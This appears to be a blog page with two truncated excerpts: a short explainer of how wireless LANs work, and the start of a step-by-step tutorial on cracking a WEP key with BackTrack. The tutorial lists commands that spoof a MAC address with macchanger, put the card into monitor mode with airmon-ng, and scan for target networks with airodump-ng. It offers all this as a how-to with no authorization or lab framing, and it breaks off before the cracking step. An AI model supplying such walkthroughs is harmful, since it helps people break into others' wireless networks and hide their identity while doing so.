Cyber World

How a wireless network works...??? A wireless local area network (WLAN) is the linking of 2 or more computers with Network Interface Cards (NICs) through a technology based on radio waves. All devices that can connect to a wireless network are known as stations. Stations can be access points (APs), or clients. Access points are base stations for the wireless network. They receive and transmit information for the clients to communicate with. The set of all stations that communicate with each other is referred to as the Basic Service Set (BSS). Every BSS has an Identification known as a BSSID, also known as the MAC address, which is a unique identifier that is associated with  every NIC. For any client to join a WLAN, it should know the SSID of the WLAN; therefore, the access points typically broadcast their SSID to let the clients know that an AP is in range. Data streams, known as packets, are sent between the Access Point, and it’s clients. You need no phy...

This tutorial will explain that how to crack wep key using Backtrack..!!    Step 1:- First Download Backtrack  from the following link: http://www.remote-exploit.org/backtrack_download.html Step 2:- Burn the iso image on CD and boot your laptop from CD drive Step 3:- Select the third boot option(VESA/KDE). Step 4:- Once in BT3, click the tiny black box in the lower left corner to load up a   "Konsole" window. Step 5:- Type the following command airmon-ng Note down the interface name. In this example wifi0 Step 6:- airmon-ng stop wifi0 Step 7:- ifconfig wifi0 down Step 8:- macchanger --mac 00:11:22:33:44:66 wifi0 Step 9:- airmon-ng start wifi0 Step 10:- airodump-ng wifi0 This will start populating Wifi networks. Press Ctrl + C to stop. Check the network with WEP encryption. Notedown BSSID, CH and ESSID somewhere in notepad or paper Note that if the same BSSI...